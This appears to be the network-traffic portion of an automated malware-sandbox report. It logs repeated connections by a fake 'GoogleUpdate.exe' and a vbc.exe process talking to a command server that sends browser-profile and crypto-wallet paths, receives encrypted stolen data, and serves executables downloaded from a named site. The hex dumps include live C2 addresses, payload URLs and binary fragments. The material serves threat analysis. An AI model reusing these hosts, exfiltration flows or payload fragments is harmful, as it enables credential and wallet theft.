105	192.168.2.5	50007	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	50009	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.5	50011	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	50014	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	50016	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49741	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	50019	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	50021	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	50024	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	50026	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	50029	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	50031	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	50034	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	50036	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	50039	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	50041	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49744	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	50044	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	50046	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	50049	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	50051	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	50054	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49703	79.137.204.112	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Nov 27, 2022 04:36:14.045250893 CET	93	OUT	Data Raw: 00 01 00 01 02 02 1c 6e 65 74 2e 74 63 70 3a 2f 2f 37 39 2e 31 33 37 2e 32 30 34 2e 31 31 32 3a 38 30 2f 03 08 0c Data Ascii: net.tcp://79.137.204.112:80/
Nov 27, 2022 04:36:14.147433043 CET	93	IN	Data Raw: 0b Data Ascii:
Nov 27, 2022 04:36:18.610277891 CET	93	OUT	Data Raw: 06 c8 01 53 1d 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 31 1c 6e 65 74 2e 74 63 70 3a 2f 2f 37 39 2e 31 33 37 2e 32 30 34 2e 31 31 32 3a 38 30 2f 03 49 64 31 13 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 Data Ascii: Shttp://tempuri.org/Entity/Id1net.tcp://79.137.204.112:80/Id1http://tempuri.org/VsaVD@Authorizationns1 3fd68ba186faa3cfc903b8bd9928c0f8DA=pyD,D*DVB
Nov 27, 2022 04:36:18.709988117 CET	94	IN	Data Raw: 06 8b 01 50 25 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 31 52 65 73 70 6f 6e 73 65 0b 49 64 31 52 65 73 70 6f 6e 73 65 13 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 09 49 64 31 52 65 73 75 Data Ascii: P%http://tempuri.org/Entity/Id1ResponseId1Responsehttp://tempuri.org/Id1ResultVsaVDDA=pyDVBB
Nov 27, 2022 04:36:25.603024006 CET	94	OUT	Data Raw: 06 97 01 22 1d 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 32 03 49 64 32 56 02 0b 01 73 04 0b 01 61 06 56 08 44 0a 1e 00 82 ab 09 40 0d 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 08 03 6e 73 31 99 20 33 66 64 Data Ascii: "http://tempuri.org/Entity/Id2Id2VsaVD@Authorizationns1 3fd68ba186faa3cfc903b8bd9928c0f8DKeeL1D,DDVB
Nov 27, 2022 04:36:25.703886986 CET	95	IN	Data Raw: 06 94 24 f8 01 25 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 32 52 65 73 70 6f 6e 73 65 0b 49 64 32 52 65 73 70 6f 6e 73 65 09 49 64 32 52 65 73 75 6c 74 06 45 6e 74 69 74 79 29 68 74 74 70 3a 2f 2f 77 77 Data Ascii: $%http://tempuri.org/Entity/Id2ResponseId2ResponseId2ResultEntity)http://www.w3.org/2001/XMLSchema-instanceId1Id109http://schemas.microsoft.com/2003/10/Serialization/ArraysstringId11Id12Id13Entity17Id2Id3Entity16Id4Id5Id6I
Nov 27, 2022 04:36:25.703927040 CET	95	IN	Data Raw: 65 72 Data Ascii: er
Nov 27, 2022 04:36:25.703941107 CET	97	IN	Data Raw: 20 44 61 74 61 46 19 99 31 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 46 19 99 31 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 Data Ascii: DataF1%USERPROFILE%\AppData\Local\7Star\7Star\User DataF1%USERPROFILE%\AppData\Local\CentBrowser\User DataF,%USERPROFILE%\AppData\Local\Chedot\User DataF-%USERPROFILE%\AppData\Local\Vivaldi\User DataF,%USERPROFILE%\AppData\Local\Kom
Nov 27, 2022 04:36:25.703958988 CET	98	IN	Data Raw: 6f 63 61 6c 5c 4e 69 63 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 46 19 99 34 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 6f 63 43 6f 63 5c 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 46 19 99 Data Ascii: ocal\Nichrome\User DataF4%USERPROFILE%\AppData\Local\CocCoc\Browser\User DataF*%USERPROFILE%\AppData\Local\Uran\User DataF.%USERPROFILE%\AppData\Local\Chromodo\User DataF2%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User DataFA%USERPROFI
Nov 27, 2022 04:36:25.703974009 CET	99	IN	Data Raw: 25 45 27 45 13 99 10 45 6c 65 63 74 72 75 6d 5c 77 61 6c 6c 65 74 73 45 23 99 01 2a 45 25 85 01 01 01 45 21 45 13 99 08 45 74 68 65 72 65 75 6d 45 23 99 09 25 61 70 70 64 61 74 61 25 45 25 45 27 45 13 99 10 45 74 68 65 72 65 75 6d 5c 77 61 6c 6c Data Ascii: %E'EElectrum\walletsE#E%E!EEthereumE#%appdata%E%E'EEthereum\walletsE#E%E!EExodusE#%appdata%E%E'EExodus\exodus.walletE#E%E'EExodusE#.jsonE%E!EGuardaE#%appdata%E%E'EGuardaE#*E%E!EJ
Nov 27, 2022 04:36:38.077025890 CET	117	OUT	Data Raw: 06 a5 9f 32 f0 01 1d 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 33 03 49 64 33 04 75 73 65 72 06 45 6e 74 69 74 79 29 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 Data Ascii: 2http://tempuri.org/Entity/Id3Id3userEntity)http://www.w3.org/2001/XMLSchema-instanceId10Id11Id12Id13nilId14Id15Id4Id5Id6Id79http://schemas.microsoft.com/2003/10/Serialization/ArraysstringId16Entity5Entity3Id8Entity4
Nov 27, 2022 04:36:38.107004881 CET	126	OUT	Data Raw: 04 b5 3f 06 cb 3b 01 dd 37 95 9d 43 7b d8 7c aa 81 95 d1 04 6b 6b 0b 64 4e ec 5b cc 2e bb b5 f0 75 c6 59 b6 00 68 49 44 39 80 09 7e 16 4c ef 91 b0 01 6b db 82 69 43 1e f4 1f c1 8f 9c 4a f0 eb 06 ac f0 a7 a0 e8 d6 ca a2 05 40 2b 02 7a 96 24 00 a2 Data Ascii: ?;7C{\|kkdN[.uYhID9~LkiCJ@+z$tc`$m?ak`2i@+ScO?>]CkX-sw}zu0qSP~>@E/-
Nov 27, 2022 04:36:38.107004881 CET	136	OUT	Data Raw: 48 da dc 2b 67 66 b7 0c db 53 10 b6 0f 29 3e fe 28 b7 af cd 45 bf 8e 7b 5b 23 af 72 2e 4b d9 fa 8a 7b 6b 0b b8 ff ca 19 54 42 cf 2d 16 27 40 7f cc 55 a7 56 6c b9 a3 c8 59 93 b6 17 cf e2 5a f0 2c 0f 42 28 86 15 41 df 94 70 a8 f3 81 05 e2 17 2f 05 Data Ascii: H+gfS)>(E{[#r.K{kTB-'@UVlYZ,B(Ap/vX]e`E4^nT#[?8{q^/ ;vguvg<{c_:;~&eb!C=Ixr}mt<\
Nov 27, 2022 04:36:38.107136011 CET	141	OUT	Data Raw: 62 41 f2 2c 1c 99 cf 2c 7c 3f c0 f6 ff 54 e8 a5 74 9d 60 a2 1f c0 da 54 22 9d a7 06 52 46 33 28 2a 8c c2 44 11 80 89 36 1b 01 70 81 ec 51 01 50 21 f3 03 91 b9 52 62 4b 44 ba 65 c2 e6 f4 5a 41 d6 24 5b d3 39 58 7e 0b cb 37 c0 f6 a8 12 c9 fe 35 2f Data Ascii: bA,,\|?Tt`T"RF3(*D6pQP!RbKDeZA$[9X~75/G/GP5ywW7s=d"d((h"^^5>~wx#O<Z-L ,wlS%OiZ/M^q.FEDT}:;^:
Nov 27, 2022 04:36:38.107136011 CET	143	OUT	Data Raw: cf 9d 22 e4 6c 6e 21 9c e3 1a a6 be ac ff 78 2e 60 7c dc 24 5f 0b 6a cb 97 53 80 dc bf ec fd 8c dd b9 5b e0 a2 4e 3d 56 80 1b 83 8a 4d 05 98 8d 12 cc c6 52 61 a2 dc 2a 61 75 5a 04 64 ac 39 b1 20 c6 e6 58 09 9b 7f 55 b0 ba 08 2c 6d 11 66 24 82 89 Data Ascii: "ln!x.`\|$_jS[N=VMRa*auZd9 XU,mf$k@l4/h1+n%j6VW6`e0=@R<<[a^^P>s^ZHF+;8POZ?N)l@l5:b)Q@H4b`/-Zo-h$2h\|
Nov 27, 2022 04:36:38.136960030 CET	149	OUT	Data Raw: 02 7b c7 5c e0 3e d6 84 39 63 6a b0 be c1 5c a4 fe c1 52 b1 f7 2d 76 27 ab 81 dd fb a6 00 fa c7 6e 60 85 ab 65 93 88 67 44 9c 5b 05 1b 01 b0 8e 30 4f 32 e1 74 4e d7 a0 eb 28 18 22 85 78 98 b8 06 50 e3 f3 80 8b 9c 61 d2 b3 3a 79 58 5b 08 63 ed b7 Data Ascii: {\>9cj\R-v'n`egD[0O2tN("xPa:yX[cIV*xe,X62FFrucT5`/:E5;vG8{B bs@piS-$uXek/Yni[/5Z&1Qa`"
Nov 27, 2022 04:36:38.136960030 CET	151	OUT	Data Raw: 95 54 80 49 45 31 64 5c 7c 33 82 cc 80 3e 39 38 4e 2c f0 59 76 ee f8 73 d1 fb a8 6c 15 f5 50 e4 43 30 4d 06 db 1f 96 b1 fe 1b 63 ec fb 15 5b b1 f5 89 90 78 40 fa d7 86 2d 1c 53 07 56 e7 12 d4 66 03 91 2d 53 97 2c b0 de 98 a8 d7 c6 b0 8e 89 b8 57 Data Ascii: TIE1d\\|3>98N,YvslPC0Mc[x@-SVf-S,W[{2Ll(]*)fx,wW;-bufN$?.gl_om\8-r8QD1PAqE>>AmOYI'P}x+_
Nov 27, 2022 04:36:39.149276972 CET	929	IN	Data Raw: 06 6a 32 25 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 33 52 65 73 70 6f 6e 73 65 0b 49 64 33 52 65 73 70 6f 6e 73 65 56 02 0b 01 73 04 0b 01 61 06 56 08 44 0a 1e 00 82 ab 35 44 12 ad 68 19 fd a2 0a 8a 77 Data Ascii: j2%http://tempuri.org/Entity/Id3ResponseId3ResponseVsaVD5DhwA$yDVB7
Nov 27, 2022 04:36:39.365314007 CET	930	IN	Data Raw: 06 b7 04 74 26 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 32 33 52 65 73 70 6f 6e 73 65 0c 49 64 32 33 52 65 73 70 6f 6e 73 65 0a 49 64 32 33 52 65 73 75 6c 74 07 45 6e 74 69 74 79 36 07 43 75 72 72 65 6e Data Ascii: t&http://tempuri.org/Entity/Id23ResponseId23ResponseId23ResultEntity6CurrentFilternilFinalPointStatusVisibleVsaVD9Dw:AL(M8BDVB;B=biE?EAECEEGEEE#Mhttp://www.idpminic.org/aula/dmi1dfg7
Nov 27, 2022 04:36:39.612025023 CET	931	IN	Data Raw: 06 b7 04 74 26 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 32 33 52 65 73 70 6f 6e 73 65 0c 49 64 32 33 52 65 73 70 6f 6e 73 65 0a 49 64 32 33 52 65 73 75 6c 74 07 45 6e 74 69 74 79 36 07 43 75 72 72 65 6e Data Ascii: t&http://tempuri.org/Entity/Id23ResponseId23ResponseId23ResultEntity6CurrentFilternilFinalPointStatusVisibleVsaVD9Dw:AL(M8BDVB;B=biE?EAECEEGEEE#Mhttp://www.idpminic.org/aula/dmi1dfg7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49705	66.235.200.147	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Nov 27, 2022 04:36:39.861573935 CET	932	OUT	GET /aula/dmi1dfg7n.kjylug HTTP/1.1 Host: www.idpminic.org Connection: Keep-Alive
Nov 27, 2022 04:36:39.893583059 CET	933	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:36:39 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 23 Nov 2022 13:28:04 GMT Vary: Accept-Encoding,User-Agent host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== CF-Cache-Status: HIT Age: 2637 Server: cloudflare CF-RAY: 7707d2212bce903c-FRA Data Raw: 37 65 37 39 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 9e 22 43 63 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 1a 03 00 00 00 2c 00 00 10 00 00 e0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 80 2c 00 00 04 00 00 93 e1 2c 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 2c 00 14 13 00 00 00 60 2c 00 18 0d 00 00 00 90 2b 00 dc 38 00 00 00 00 00 00 00 00 00 00 00 70 2c 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 5a 2b 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 24 2c 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 78 18 03 00 00 10 00 00 00 1a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 90 fd 27 00 00 30 03 00 00 fe 27 00 00 1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 50 00 00 00 30 2b 00 00 52 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 70 64 61 74 61 00 00 dc 38 00 00 00 90 2b 00 00 3a 00 00 00 6e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 78 64 61 74 61 00 00 10 31 00 00 00 d0 2b 00 00 32 00 00 00 a8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 a0 0f 00 00 00 10 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 14 13 00 00 00 20 2c 00 00 14 00 00 00 da 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 78 00 00 00 00 40 2c 00 00 02 00 00 00 ee 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 50 2c 00 00 02 00 00 00 f0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 73 72 63 00 00 00 18 0d 00 00 00 60 2c 00 18 0d 00 00 00 f2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 03 00 00 00 70 2c 00 00 04 00 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 7e79MZ@hr!L!This program cannot be run in DOS mode.$PEd"Cc.$,@,,` ,`,+8p,`Z+($,0.textx`P`.data'0'@`.rdatapP0+R+@`@.pdata8+:n+@0@.xdata1+2+@0@.bss,`.idata ,+@0.CRTx@,+@@.tlsP,+@@.rsrc`,+@0.relocp,,@0B
Nov 27, 2022 04:36:39.893656015 CET	934	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 83 ec 28 48 8b 05 e5 Data Ascii: ff.@H(HY+1HY+HY+HY+H?X+f8MZuHcP<H8PEtiHrY++tF,HY+HX+HU+8tS1H
Nov 27, 2022 04:36:39.893702030 CET	936	IN	Data Raw: 00 e9 5c fd ff ff 89 c1 e8 27 02 02 00 90 66 0f 1f 44 00 00 48 83 ec 28 48 8b 05 f5 54 2b 00 c7 00 01 00 00 00 e8 9a fc ff ff 90 90 48 83 c4 28 c3 0f 1f 00 48 83 ec 28 48 8b 05 d5 54 2b 00 c7 00 00 00 00 00 e8 7a fc ff ff 90 90 48 83 c4 28 c3 0f Data Ascii: \'fDH(HT+H(H(HT+zH(H('HH(H@ATH0IHtK=+u!HP+E1L+x!ALD$,LD$,7H0A\
Nov 27, 2022 04:36:39.893744946 CET	937	IN	Data Raw: 0e 00 00 48 8d 35 44 16 03 00 b9 69 00 00 00 48 89 ef f3 48 a5 48 8d 0d 32 29 03 00 e8 3d e8 00 00 48 8d 0d 06 29 03 00 48 89 c3 e8 2e e8 00 00 80 3b 00 49 89 c4 75 5a c6 80 48 03 00 00 01 48 89 ee 45 31 c0 4c 89 e2 48 8b 84 24 c0 0e 00 00 49 8d Data Ascii: H5DiHHH2)=H)H.;IuZHHE1LH$I\|$HI$H$I$@LH)H)HHHA$Ht;I_{1DHLHHfA1DHH=uA$HL1H5H&H
Nov 27, 2022 04:36:39.893785954 CET	938	IN	Data Raw: 4c 89 e9 e8 40 f8 01 00 85 c0 0f 85 26 07 00 00 4c 8d ac 24 90 08 00 00 66 0f 6f 05 18 12 2b 00 31 c0 b9 41 00 00 00 c7 84 24 d8 0e 00 00 1a 67 67 cf 4c 89 ef f3 48 ab 48 8d 0d 89 25 03 00 48 bf f0 3f 5b 95 f9 f1 98 6f 0f 29 84 24 c0 0e 00 00 48 Data Ascii: L@&L$fo+1A$ggLHH%H?[o)$H$HC%H>Hu0fo$@E1HHxH%@gg({t*H??osoggHogg''H1H1SH1CCILLI{T
Nov 27, 2022 04:36:39.893829107 CET	940	IN	Data Raw: 00 48 8d 0d 1a 22 03 00 49 89 c4 e8 42 de 00 00 41 80 3c 24 00 48 89 c3 75 59 c6 80 94 04 00 00 01 48 89 ee 45 31 c0 48 89 da 48 8b 84 24 c0 0e 00 00 48 8d 7b 08 48 83 e7 f8 48 89 03 48 8b 84 24 4c 13 00 00 48 89 83 8c 04 00 00 48 89 d8 48 29 f8 Data Ascii: H"IBA<$HuYHE1HH$H{HHH$LHHH)H)HA$Ht=I-I1f.HLHHf1CHH=JuH!H!H~>IfA\|$tA~$AD
Nov 27, 2022 04:36:39.893871069 CET	941	IN	Data Raw: 7f 00 00 48 89 f1 4c 8d 8c 24 40 01 01 00 48 8d bc 24 90 00 00 00 4c 89 4c 24 60 e8 1c 79 01 00 31 c0 b9 0d 00 00 00 45 31 c9 f3 48 ab 48 8d 44 24 70 49 89 f0 48 8d 54 24 68 48 89 44 24 50 48 8d 84 24 90 00 00 00 48 89 44 24 48 48 8b 05 09 3d 2b Data Ascii: HL$@H$LL$`y1E1HHD$pIHT$hHD$PH$HD$HH=+HT$X1$hHD$pHD$xH$HD$hHD$@HD$8D$0D$(HD$ Ld$ptH<+0uLLN#H[^_A\AUATWVS
Nov 27, 2022 04:36:39.893913984 CET	942	IN	Data Raw: d0 02 00 48 89 44 24 30 48 89 c1 48 8b 44 24 50 48 89 44 24 40 e9 b5 fe ff ff 41 0f b7 14 24 66 89 11 e9 cc fe ff ff 48 8b 05 50 04 2b 00 41 b8 e3 39 00 00 48 8d 0d 7b ea 2a 00 c7 44 24 58 f2 c1 a0 e3 66 44 89 44 24 5c 48 89 44 24 50 e8 f3 d3 00 Data Ascii: HD$0HHD$PHD$@A$fHP+A9H{D$XfDD$\HD$PH<H;Iu6@HD$PE1LAD$9fAL$HI$A\|$t%HsSSfAt$9I1$At$AD$LqE1LLI0HH
Nov 27, 2022 04:36:39.893960953 CET	944	IN	Data Raw: 00 45 8b 75 0c e8 36 cf 00 00 48 8d 0d 7f e6 2a 00 48 89 c3 49 01 f6 e8 24 cf 00 00 80 3b 00 49 89 c4 75 35 48 8b 05 85 ff 2a 00 41 bb 0f 01 00 00 45 31 c0 4c 89 e2 41 c7 44 24 08 53 db a3 53 48 8d 0d d9 fa 01 00 49 89 04 24 66 45 89 5c 24 0c c6 Data Ascii: Eu6HHI$;Iu5HAE1LAD$SSHI$fE\$A\|$t-A~$At$~CAD$At$}ffA$LLH\|$(AEHHHD$HAE$HIHD$@sH<HD$hbHHSH\*
Nov 27, 2022 04:36:39.894004107 CET	945	IN	Data Raw: 00 41 80 7c 24 14 00 74 35 49 b8 d7 65 79 07 ed 21 11 a3 31 c0 0f 1f 44 00 00 48 89 c1 4c 89 c2 83 e1 07 48 c1 e1 03 48 d3 ea 41 30 14 04 48 83 c0 01 48 83 f8 14 75 e2 41 c6 44 24 14 00 4c 89 e2 4c 89 e9 e8 29 de 01 00 85 c0 75 07 4c 89 3d 0e d8 Data Ascii: A\|$t5Iey!1DHLHHA0HHuAD$LL)uL=+HT$P:u1HAFKF E1HIfAFLA~t(A~Av?#w~wAvAFffALLuL=+HT$ Hl$0HBH9T$@HD$
Nov 27, 2022 04:36:39.894046068 CET	946	IN	Data Raw: 84 3f 02 00 00 e8 2a d9 01 00 48 8d 1c 00 48 89 de 48 d1 fe 48 89 b4 24 90 00 00 00 48 83 fb 0e 0f 87 3e 02 00 00 48 8b 8c 24 b0 00 00 00 48 89 f0 48 83 fe 01 0f 84 19 02 00 00 48 85 f6 0f 85 e0 01 00 00 45 31 c0 48 89 84 24 b8 00 00 00 66 44 89 Data Ascii: ?HHHH$H>H$HHHE1H$fDAHE11HHD$ L*{H$HPH$HH9H$HHH$HHH$HH$1H@fPH9tH$HTH$
Nov 27, 2022 04:36:42.463839054 CET	3934	OUT	GET /aula/ofg7d45fsdfgg312.sfhg HTTP/1.1 Host: www.idpminic.org
Nov 27, 2022 04:36:42.490314007 CET	3935	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:36:42 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 23 Nov 2022 20:08:53 GMT Vary: Accept-Encoding,User-Agent host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== CF-Cache-Status: HIT Age: 2363 Server: cloudflare CF-RAY: 7707d2316b45903c-FRA Data Raw: 37 65 37 38 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7d 66 ac 49 39 07 c2 1a 39 07 c2 1a 39 07 c2 1a ea 75 c1 1b 33 07 c2 1a ea 75 c7 1b b4 07 c2 1a ea 75 c6 1b 2d 07 c2 1a 6b 72 c7 1b 10 07 c2 1a 6b 72 c6 1b 28 07 c2 1a 6b 72 c1 1b 2a 07 c2 1a ea 75 c3 1b 30 07 c2 1a 39 07 c3 1a 58 07 c2 1a f8 72 cb 1b 38 07 c2 1a f8 72 3d 1a 38 07 c2 1a f8 72 c0 1b 38 07 c2 1a 52 69 63 68 39 07 c2 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6f 7a 7e 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 d2 00 00 00 8e 00 00 00 00 00 00 13 24 00 00 00 10 00 00 00 f0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 4c 01 00 64 00 00 00 00 80 01 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 4c 0f 00 00 